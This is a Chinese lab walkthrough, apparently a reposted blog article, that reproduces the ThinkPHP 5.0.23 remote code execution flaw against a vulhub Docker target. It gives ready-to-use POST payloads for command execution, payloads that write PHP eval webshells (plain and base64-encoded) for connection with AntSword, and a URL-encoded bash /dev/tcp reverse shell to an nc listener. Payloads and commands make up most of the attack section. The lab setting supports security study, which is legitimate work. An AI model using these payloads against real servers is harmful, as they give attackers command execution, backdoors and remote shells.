Thinkphp5.0.23远程代码执行漏洞复现

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

1、漏洞介绍

使用Thinkphp5.x远程代码执行漏洞,无需登录即可执行任意命令,获取服务器最高权限。漏洞影响范围:5.x < 5.1.31; 5.0.x <=5.0.23,该漏洞出现的原因在于Thinkphp5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到Thinkphp框架内部的敏感函数,进而导致getshell漏洞。

2、启动靶场环境

kali系统启动thinkphp5.0.23,使用以下命令:

# 先启动docker
service docker start

# 先切到对应目录
cd /home/kali/vulhub-master/thinkphp/5.0.23-rce

# 编译环境(可选)
docker-compose build 

# 运行环境
docker-compose up -d 

# 会看到关键字done,表示运行结束

# 查询当前目录下的服务是否启动
docker-compose ps

访问地址:http://your-ip:8080/

关于环境准备,请参阅《kali系统安装docker和部署vulhub服务》。

3、远程代码执行poc确认

使用firefox浏览器,安装插件:HackBar

访问地址:http://your-ip:8080/index.php在后面拼接上?s=captcha,访问会提示页面错误,按F12打开调试,切换到HarBar,点LoadURL按钮把页面请求的url 加载到请求框,打钩Post data,输入以下POC

# 注意如果是自己手敲的话,construct前面是两个下划线
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

执行点Execute按钮
在这里插入图片描述

验证过程,可在[REQUEST_METHOD]后修改命令,我的thinkphp是在部署在kali系统,相关命令是以linux系统的

4、一句话木马-phpinfo

在【第3、远程代码执行poc确认】步骤的基础上修改poc,写入shell,访问是否可解析

# 注意如果是自己手敲的话,construct前面是两个下划线
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php phpinfo(); ?>" > info.php

提交后访问:http://192.168.242.4:8080/info.php,发现解析成功了。

路径就是跟index.php同一级,名称写入时自定义的。

在这里插入图片描述

5、一句话木马-远程连接

在【4、一句话木马-phpinfo】步骤的基础上修改poc,写入shell,使用蚁剑连接访问是否成功。

注意在版本:5.0.23, 符号会被过滤掉,需要在 符号会被过滤掉,需要在 符号会被过滤掉,需要在前面加上\进行转义

参考博客【转义方式】:https://blog.csdn.net/ffff5/article/details/117004350

参考博客【Base64编码方式】:https://www.cnblogs.com/–kisaragi–/p/15315131.html

5.1、使用转义的方式
# 注意如果是自己手敲的话,construct前面是两个下划线
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval(\$_POST['123']);?>" > lksh.php
5.2、使用Base64编码形式

把一句话木马,放到在线网站:https://base64.us/进行编码

# 编码前内容
<?php @eval($_POST['123']);?>

# Base64编码后
PD9waHAgQGV2YWwoJF9QT1NUWycxMjMnXSk7Pz4=

# server[REQUEST_METHOD]=后接的内容修改为
echo "PD9waHAgQGV2YWwoJF9QT1NUWycxMjMnXSk7Pz4=" | base64 -d > lksh.php

# 整句poc
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "PD9waHAgQGV2YWwoJF9QT1NUWycxMjMnXSk7Pz4=" | base64 -d > lksh.php

提交后,使用蚁剑连接访问:http://192.168.242.4:8080/lksh.php,发现解析成功了。

路径就是跟index.php同一级,名称写入时自定义的。

在这里插入图片描述

6、反弹shell

6.1、在攻击机开启监听

自己测试用同一台kali搭建靶场和做攻击机,所以ip会一样,但端口肯定不一样。使用nc命令开启监听,用于反弹shell

# 端口自定义,kali系统的ip: 192.168.242.4
nc -lvvp 9999

# 提示以下信息表示监听成功
tening on [any] 9999 ...
6.2、poc编写

由于反弹shell原文poc在提交时,提交时没任何反应,需要进行进行特殊字符编码后再提交,编码网址:https://www.bejson.com/enc/urlencode/

# server[REQUEST_METHOD]=后反弹shell原文
/bin/bash -c "bash -i >& /dev/tcp/192.168.242.4/9999 0>&1"

把上面的原文复制到在线网址进行编码,得到以下内容,然后再进行拼接全文poc

# 反弹shell原文的特殊符号编码后的内容
%2Fbin%2Fbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.242.4%2F9999%200%3E%261%22

在这里插入图片描述

从上面得到编码后的poc进行拼接全文poc

# 拼接全文poc
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=%2Fbin%2Fbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.242.4%2F9999%200%3E%261%22
6.3、poc执行

同样使用HackBar执行提交

在这里插入图片描述

6.4、反弹shell成功

发现kali系统的开启nc监听的地方有变化,而且可以执行查询命令,反弹shell成功

在这里插入图片描述

7、下期内容预告

下期会分享Struts2远程代码执行漏洞复现,敬请关注我的公众号:大象只为你,持续更新中…

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/363677.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

26元/月起!腾讯云自动搭建4核16G雾锁王国服务器

腾讯云无需任何配置自动搭建雾锁王国4-8人联机服务器&#xff0c;游戏24小时在线&#xff0c;4核16G服务器低至26元/月起&#xff0c;一键搭建自己的雾锁王国联机服务器&#xff01; 第一步&#xff1a;购买服务器 1、通过【腾讯云游戏服专属优惠】页面&#xff0c;选择“雾锁…

关于v8垃圾回收机制以及与其相关联的知识点--还没整理版本

对于值类型b来说&#xff0c;就直接释放了其占用的内存&#xff0c;对于引用类型obj来说&#xff0c;销毁的只是变量obj对堆内存地址 1001 的引用&#xff0c;obj的值 { c: 3 } 依然存在于堆内存中。那么堆内存中的变量如何进行回收呢&#xff1f; V8的垃圾回收策略主要是基于…

YOLOv5改进系列(29)——添加DilateFormer(MSDA)注意力机制(中科院一区顶刊|即插即用的多尺度全局注意力机制)

【YOLOv5改进系列】前期回顾&#xff1a; YOLOv5改进系列&#xff08;0&#xff09;——重要性能指标与训练结果评价及分析 YOLOv5改进系列&#xff08;1&#xff09;——添加SE注意力机制 YOLOv5改进系列&#xff08;2&#xff09;——添加CBAM注意力机制 YOLOv5改进系列&…

Duplicate entry ‘2020045-2-1‘ for key ‘index_uid‘ 解决方案

项目场景&#xff1a; 今天小编在工作中编写接口对数据库增加相同的非主键数据的时候&#xff0c;突然出现了这样的一个错误&#xff1a; 下面我来给大家解答这个错误的出现原因以及解决办法。 问题描述 Duplicate entry 2020045-2-1 for key index_uid 这个错误大概意思就是…

Vue3-Composition-API(二)

一、computed函数使用 1.computed 在前面我们讲解过计算属性computed&#xff1a;当我们的某些属性是依赖其他状态时&#xff0c;我们可以使用计算属性来处理 在前面的Options API中&#xff0c;我们是使用computed选项来完成的&#xff1b; 在Composition API中&#xff0c…

Spring实现事务(一)

Spring事务 .什么是事务事务的操作Spring中事务的实现准备工作创建表创建项目,引入Spring Web, Mybatis, mysql等依赖配置文件实体类 编程式事务(手动写代码操作事务)声明式事务(利用注解自动开启和提交事务) . 什么是事务 事务是⼀组操作的集合, 是⼀个不可分割的操作 在我们…

基于布谷鸟搜索的多目标优化matlab仿真

目录 1.程序功能描述 2.测试软件版本以及运行结果展示 3.核心程序 4.本算法原理 1. 布谷鸟搜索算法基础 2. 多目标优化问题 3. 基于布谷鸟搜索的多目标优化算法 4. 解的存储和选择策略 5.算法步骤 5.完整程序 1.程序功能描述 基于布谷鸟搜索的多目标优化&#xff0c;…

JavaScript基础(二)—— 运算符、表达式与语句(if、switch、循环)

学习目标&#xff1a; 掌握常见运算符&#xff0c;为程序“能思考”做准备 掌握分支语句&#xff0c;让程序具备判断能力 掌握循环语句&#xff0c;让程序具备重复执行能力 一、运算符 1. 赋值运算符 对变量进行赋值的运算符&#xff0c;能够使用赋值运算符简化代码。 …

【解决视网膜长尾数据】关系子集学习、射击法、加权知识蒸馏

长尾分布下的视网膜&#xff1a;关系子集学习、射击法、加权知识蒸馏 核心思想问题&#xff1a;类别分布的不平衡问题问题&#xff1a;共现标签问题&#xff1a;特定区域和特征的类别关联解法&#xff1a;划分子集解决样本不平衡问题解法&#xff1a;射击法解决共现标签问题解法…

【缓存周总结】Redis缓存的使用以及数据安全的处理

前言 Redis非关系型数据库已经是很常见的工具了&#xff0c;项目中用到的也很多&#xff0c;这篇文章系统的分析下使用过程中可能会遇到的问题 一、缓存 缓存是数据交换的缓冲区&#xff0c;是存贮数据的临时地方&#xff0c;一般读写性能较高。 我们项目中引用的Redis目的就是…

Unity - 调节camera物理相机参数(HDRP)

在 “Hierarchy” 右键 -> Volume -> Global Volume new 一个 profile, 设置Mode为Pysical Camera 再点击camera组件&#xff0c;这时候设置 ISO、Shutter Speed、Aperture等参数值还会有效。

深入了解如何对IPA包进行有效的混淆处理

1、安装混淆工具 首先电脑上要安装ipagurad工具&#xff0c;官网链接&#xff1a;IpaGuard官网--IOS 应用程序ipa文件混淆加密保护工具 2、生成混淆文件 由于混淆需要首先 打开要处理的IPA文件 第一项&#xff0c;填写我们需要重签名的 ipa 路径&#xff08;当前导入的路径跟导…

跟着pink老师前端入门教程-day16

二十七、CSS3进阶 1、CSS3 2D转换 转换&#xff08;transform&#xff09;是CSS3中具有颠覆性的特征之一&#xff0c;可以实现元素的位移、旋转、缩放等效果 转换&#xff08;transform&#xff09;可以简单理解为变形 移动&#xff1a;translate&#xff1b;旋转&#xff…

【LVGL源码移植】

LVGL源码移植 ■ LVGL源码移植一&#xff1a;下载LVGL源码二&#xff1a;修改LVGL文件夹1: 将这5个文件&#xff0c;复制到一个新的文件夹2: 简化文件&#xff0c;减少内存消耗&#xff08;去除不必要的文件&#xff09;3: 为了规范化&#xff0c;我们将下列文件进行重命名 三&…

nodejs+vue+ElementUi宠物领养救助网站0w6wc

宠物领养救助平台采用B/S架构&#xff0c;数据库是MySQL。网站的搭建与开发采用了先进的nodejs进行编写&#xff0c;使用了vue框架。该系统从两个对象&#xff1a;由管理员和用户来对系统进行设计构建。主要功能包括&#xff1a;个人信息修改&#xff0c;对用户、宠物类别、宠物…

七、并发工具(上)

一、自定义线程池 1&#xff09;背景&#xff1a; 在 QPS 量比较高的情况下&#xff0c;我们不可能说所有的访问都创建一个线程执行&#xff0c;这会导致内存占用过高&#xff0c;甚至有可能出现 out of memory另外也要考虑 cpu 核数&#xff0c;如果请求超过了cpu核数&#…

【多个SpringBoot模块项目如何变成聚合项目】

【前言】 项目虽然是Eureka、OpenFeign 进行服务注册和服务调用&#xff0c;但是每个模块都是一个单独的SpringBoot&#xff0c;启动每个模块都需要单独启动一个idea,觉得这个过于繁琐&#xff0c;现在想把项目变成一个聚合项目&#xff0c;只需要启动一个idea即可。 【过程】…

09. 异常处理

目录 1、前言 2、常见的异常 3、异常处理try...except...finally 4、异常信息解读 5、raise 6、自定义异常 7、小结 1、前言 在编程中&#xff0c;异常&#xff08;Exception&#xff09;是程序在运行期间检测到的错误或异常状况。当程序执行过程中发生了一些无法继续执…

vue前端html导出pdf

package.json中添加依赖 调用方&#xff1a; import htmlToPdf from ../../../utils/file/htmlToPdf.js// 下载方法&#xff0c;pdfDownloadDpi为onClickDownLoad() {htmlToPdf.getPdf(标题1, jsfgyzcpgxmShow, this.pdfDownloadDpi)}htmlToPdf.js // 页面导出为pdf格式 imp…

Backtrader 文档学习- Broker - Cheat-On-Open

Backtrader 文档学习- Broker - Cheat-On-Open 1.概述 V1.9.44.116增加了Cheat On Open的支持。对于全押的人来说&#xff0c;这似乎是一个必需的功能&#xff0c;用bar的收盘价后进行计算&#xff0c;希望与开盘价相匹配。 当开盘价差距&#xff08;上涨或下跌&#xff0c;取…